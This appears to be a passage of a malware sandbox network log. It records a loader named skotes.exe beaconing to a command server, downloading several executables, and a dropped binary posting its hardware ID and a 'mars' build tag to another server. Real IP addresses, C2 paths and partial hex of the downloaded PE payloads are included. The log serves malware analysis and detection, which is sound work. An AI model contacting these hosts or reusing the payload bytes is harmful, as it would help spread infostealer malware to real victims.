`MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 26, 2024 10:10:29.786140919 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 26, 2024 10:10:29.786151886 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 26, 2024 10:10:29.786227942 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 26, 2024 10:10:29.786241055 CET	736	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 26, 2024 10:10:29.786503077 CET	1236	IN	Data Raw: b7 6f 78 2f 72 9a f8 71 ee 3e 4d ec cd e0 d6 39 1b 0b f8 cc 7b 0a 55 40 86 a4 38 5e 83 b5 fc e0 93 ab 8f 79 ff 2c ea 7f fb f5 e0 1c 04 c9 78 b4 a0 79 3e 8c 6f 69 95 1c c9 72 b5 b0 e6 fb 54 c9 c0 3c 1a e1 a6 31 d1 0f 6c 0f 0f 85 ac e2 b0 b2 c7 c3 Data Ascii: ox/rq>M9{U@8^y,xy>oirT<1lV{\|g9wy(`}Dc}:&4(;'"1kzZpZ97~}<m{)F)O^Rh0r2^5n-h!`/=F:3V $?`S8PV(H0G
Nov 26, 2024 10:10:29.786575079 CET	1236	IN	Data Raw: 57 2c 20 61 54 7a b6 2c 68 3b 66 61 73 1c 1d e2 eb 23 01 c0 46 a0 c6 87 aa 95 40 ad 7b 08 bb 48 0d 79 be 2c f9 13 49 ba 00 72 3e f6 f7 54 25 f7 1d c0 95 14 90 7f 7d 58 7c 28 e3 12 6d ed 4d ed 8f 3a b7 07 70 d4 c0 68 0f c2 e9 27 a1 ad 3b 66 f8 e6 Data Ascii: W, aTz,h;fas#F@{Hy,Ir>T%}X\|(mM:ph';fv6 6N5t]S\|.<aoYRBb7VgfLh08uW_<u[:kh##2%dK5##uJ4Bn_~l(N~vZ\ `@K0az
Nov 26, 2024 10:10:29.786592007 CET	1236	IN	Data Raw: 8a ac 93 f1 40 89 d6 2c 25 56 e7 e7 41 fd cd d9 61 4d 91 fd 4b 75 7c 5d 61 0b a7 ca cb 09 1b 09 34 ff e6 94 6e 26 f6 27 39 04 39 79 da e6 00 ae aa a2 07 e7 bc 49 aa d1 5d cd 91 c5 aa 07 88 63 cf 61 81 8d e5 b0 0d e5 93 1b ca 3b a7 2f 7a af b5 3b Data Ascii: @,%VAaMKu\|]a4n&'99yI]ca;/z;^>@'IM7fJWfvAIm2H}N\MwK`3Lg[/UJ1>{__1iB4F}ZExM94.uxmsD
Nov 26, 2024 10:10:29.786631107 CET	1236	IN	Data Raw: 08 0e d1 7d 8a 52 c9 be 69 d8 e5 9d d1 00 d0 55 c5 87 82 ce d7 d1 ca 69 be fd 71 99 5c 54 66 4b a1 cd b8 e2 c2 02 78 bf e6 ef 7a 01 4c 6a 15 3c 0f 62 bb bf 8b 54 2c bd de f4 05 20 5a ec 24 3a 37 f4 55 5a 34 8e 12 75 e9 4f 2e 0a 95 45 cc 01 f9 66 Data Ascii: }RiUiq\TfKxzLj<bT, Z$:7UZ4uO.Ef&`z#"][mmJ4(t<d:TAGtNn)CD,p^i8V"Y=er>`QQ29_%q2/"MX(`OsTAt\@`x
Nov 26, 2024 10:10:29.786643982 CET	645	IN	Data Raw: e5 79 5d 24 42 ce 7c 56 10 26 41 55 fe de 3b 20 03 b1 c2 47 63 14 61 88 83 5f 30 ee c8 0f b1 bd ce 17 88 b0 c9 58 84 eb 93 99 2e f1 0f 64 62 cc ee 57 41 66 2c 6e 3b 90 2c 15 48 64 e3 81 84 5e ed f5 9c 3e 83 42 a3 05 be 47 02 f2 87 c0 5c 51 8f 8b Data Ascii: y]$B\|V&AU; Gca_0X.dbWAf,n;,Hd^>BG\QI)g\|RIS\|j=b@//}{2Gf\|3U^h3H8l1p]Nq$`T>=[[&7+$?+yk9}3.x;FcQ
Nov 26, 2024 10:10:29.906693935 CET	1236	IN	Data Raw: 22 77 89 a9 7c e2 e9 09 22 73 87 7b bc 56 fb cc 68 b2 96 29 3f 52 c8 17 d3 67 62 77 39 55 fc a9 2d 8c 2e 91 e9 47 d8 42 6c 48 e5 be 15 b1 a6 48 f6 9b ef 7a 70 38 28 b6 3e 4b 1c 0d 87 aa 56 1a 26 97 c3 cf e8 5f 46 b5 03 a3 82 d2 c8 d1 6b 2b d7 d9 Data Ascii: "w\|"s{Vh)?Rgbw9U-.GBlHHzp8(>KV&_Fk+j0!\&YZ!jP= >KZ!8(V?AzgJ[;D5i+VY6@Ox'RVx\|JPdhlAO(&XyHv;q"'7%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50033	185.215.113.43	80	8160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:35.190512896 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 32 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009252001&unit=246122658369
Nov 26, 2024 10:10:36.634717941 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:10:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50036	185.215.113.16	80	8160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:37.067589045 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 26, 2024 10:10:38.451843977 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:10:38 GMT Content-Type: application/octet-stream Content-Length: 1785344 Last-Modified: Tue, 26 Nov 2024 08:49:26 GMT Connection: keep-alive ETag: "67458b96-1b3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 30 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 68 00 00 04 00 00 c5 b4 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$0h@`h@M$a$$ $b@.rsrc$r@.idata $t@ )$v@zqmibjwxNx@nsixqmkw h@.taggant00h"@
Nov 26, 2024 10:10:38.451869965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:38.451881886 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:38.451967001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:38.451977968 CET	1236	IN	Data Raw: 45 64 16 e9 17 49 6b 66 50 f5 9e 6b db cc 83 70 45 d3 9c c3 97 2e 42 06 38 cd df c4 73 64 72 5c a8 44 c1 64 d2 29 cf c5 12 e3 5f 19 43 d0 a9 fc ef 7a a2 74 38 d1 45 3e 31 c4 9b c0 e2 d4 b5 35 b0 17 3e 25 c8 3b da bf 1d 61 a7 c3 b9 fa 91 db 2f bc Data Ascii: EdIkfPkpE.B8sdr\Dd)_Czt8E>15>%;a/-(pw2FO@."V0$!~"\X^}7G,WC\|NH2LGPH"2G/Ahc\|AuA==zXC#0Qt\|gJ\8*$<9]phdr
Nov 26, 2024 10:10:38.451996088 CET	1236	IN	Data Raw: 42 65 a9 05 19 cc 7b 3d 9a 41 37 eb 86 a9 ce cd 46 be dd 75 59 2c e3 88 98 0f 32 ce f1 bd 59 db 29 bf 53 68 12 20 ad 3e 85 6e 9c c0 70 de 07 de 76 e9 5a 6b d9 ae 59 a3 d4 61 6b 4d b2 86 b0 b5 87 5b dc 3a 3c 65 b8 1c 71 40 1b a0 39 60 32 15 79 87 Data Ascii: Be{=A7FuY,2Y)Sh >npvZkYakM[:<eq@9`2y`yUWO\|6:Y qH-;`~T{@P{2QC,S^pMSN?}^%'j9mYHP@JR(H[5ck:&U8XG{\|p_o
Nov 26, 2024 10:10:38.452008009 CET	1236	IN	Data Raw: 38 94 7c 21 e1 a4 39 19 72 b4 53 db 97 a4 5f e3 63 00 4e 5d 78 9e 8a dd 97 bc 51 1f b4 cc 11 19 3c 07 6b 58 88 b7 8b e4 73 0a 5b c9 4e 84 54 3b a8 c0 cd f5 93 8d 29 14 46 81 b1 63 b4 be e1 f4 7f 8d 13 16 b7 84 5d 3b d0 c0 01 f6 27 00 63 84 75 e6 Data Ascii: 8\|!9rS_cN]xQ<kXs[NT;)Fc];'cu['j8PgrbknXPsisF\Kp``RZ,8j;]Y!Xc8<nT{FXMZY ES]MEI]AqOc8D_3A8Dj+
Nov 26, 2024 10:10:38.452248096 CET	1236	IN	Data Raw: 35 d7 2a e9 bc eb 12 f8 41 b0 cb e9 33 0a 6e 9e 54 3e 11 24 be 92 19 58 b0 07 92 88 74 97 cd 39 38 92 e5 18 a4 84 a1 72 79 81 a7 8b 38 92 11 18 04 9e d2 fb b6 c0 58 57 83 84 62 bb 72 18 d3 f7 9f d2 93 0b 28 92 51 e3 54 04 86 5f c0 d6 dd ad 41 a4 Data Ascii: 5*A3nT>$Xt98ry8XWbr(QT_AnkkpqZwphL`SmGlroD3$FtpRV4\cWk_re[Y[dUR{NOQ]5:4kNZW_qq
Nov 26, 2024 10:10:38.452260017 CET	1236	IN	Data Raw: 90 1f 60 87 52 48 5b 65 44 9e d0 20 b8 59 63 e3 ef 00 f2 60 78 f5 d5 3d 5c 28 7e 5c 70 20 55 d9 4f ed 30 e5 99 a1 e9 2b 46 bf e1 f5 b7 be 96 07 3e f6 51 e9 ff cb b1 5d c0 b3 df dd 04 5c 60 e3 23 06 72 44 45 9d 12 58 38 b1 97 eb e0 a4 f1 15 5c 87 Data Ascii: `RH[eD Yc`x=\(~\p UO0+F>Q]\`#rDEX8\URHD"n?H`k`rXW_1/\BUnR%_T,oU4+QqWmEl'krj>Xkee\(A8nU 4F[r5!aB[e]yT#}brF
Nov 26, 2024 10:10:38.452271938 CET	1236	IN	Data Raw: 44 3e 6f d5 45 90 8e f7 e7 9e 89 e5 8f 17 76 18 b9 b0 8b e9 9b 8d 73 e7 b5 ce 5e 65 38 cc 85 ee 77 04 32 e8 79 7f bb 19 84 00 5e 37 75 1f 7a d8 5e 77 4c 5f 44 f0 ea e9 af 84 d1 17 ba 61 ce e3 36 e4 d5 5b c4 be 21 5c 54 4b 6c e7 b7 5e 60 e3 e3 00 Data Ascii: D>oEvs^e8w2y^7uz^wL_Da6[!\TKl^`N_x5\_;xEqrZEQUBnFZwH@EZXDRqX(RE_RKPPRO7H%FT5 aH>VA=K_pBC('u'lKmh8
Nov 26, 2024 10:10:38.572272062 CET	1236	IN	Data Raw: fc fd e0 87 ba 8c 9e 53 27 95 21 ef ef cc 6e 90 5a ec b9 d8 57 7d 89 ba 7e 1d 9a c9 6c 4d dd 08 50 57 f4 f9 8f f2 8d f9 ee 15 cc da bc f1 21 06 8d 70 8a c3 51 7e fa 74 4e 6f 97 af 50 8f 7d 0e a4 25 d5 60 76 54 89 c9 39 28 66 d0 4c d4 d1 92 bc 20 Data Ascii: S'!nZW}~lMPW!pQ~tNoP}%`vT9(fL k(hmn0<C8Rp-Yyj,S(@ZeYDu5Nw88!d@N>X0hd\|7^^ifO`XjmOl ZXauPr89

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50056	185.215.113.43	80	8160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:44.404047966 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 32 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009253001&unit=246122658369
Nov 26, 2024 10:10:45.785095930 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:10:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50060	185.215.113.16	80	8160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:45.912745953 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 26, 2024 10:10:47.309118032 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:10:47 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Tue, 26 Nov 2024 08:47:33 GMT Connection: keep-alive ETag: "67458b25-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1d 8b 45 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELEg"dw@pV@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 26, 2024 10:10:47.309139967 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 26, 2024 10:10:47.309165001 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 26, 2024 10:10:47.309175968 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Nov 26, 2024 10:10:47.309182882 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Nov 26, 2024 10:10:47.309187889 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Nov 26, 2024 10:10:47.309195042 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Nov 26, 2024 10:10:47.309262991 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Nov 26, 2024 10:10:47.309277058 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Nov 26, 2024 10:10:47.309290886 CET	1116	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Nov 26, 2024 10:10:47.442065954 CET	1236	IN	Data Raw: c3 49 00 8b ce 85 c0 74 1b 8d 85 00 00 ff ff 50 e8 7d 30 00 00 68 68 cb 49 00 8b ce e8 ba fc ff ff 5e c9 c3 e8 d5 6b 00 00 eb ea 55 8b ec 51 51 8d 45 f8 ba 6c cb 49 00 50 6a 04 68 94 cb 49 00 b9 01 00 00 80 e8 0d 00 00 00 83 c4 0c 66 83 7d f8 31 Data Ascii: ItP}0hhI^kUQQElIPjhIf}1UQQ}SVtputi33fEPjSRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50062	185.215.113.206	80	8688	C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:46.146123886 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 10:10:47.487701893 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:10:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 10:10:47.490675926 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDBKJKFIECAAAKFBFB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 37 42 44 33 33 35 30 41 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 2d 2d 0d 0a Data Ascii: ------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="hwid"17BD3350AF1F1622379703------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="build"mars------FHJDBKJKFIECAAAKFBFB--
Nov 26, 2024 10:10:47.935385942 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:10:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50082	185.215.113.43	80	8160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:51.609209061 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 32 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009254001&unit=246122658369
Nov 26, 2024 10:10:52.999243021 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:10:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50088	185.215.113.16	80	8160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:53.135576010 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
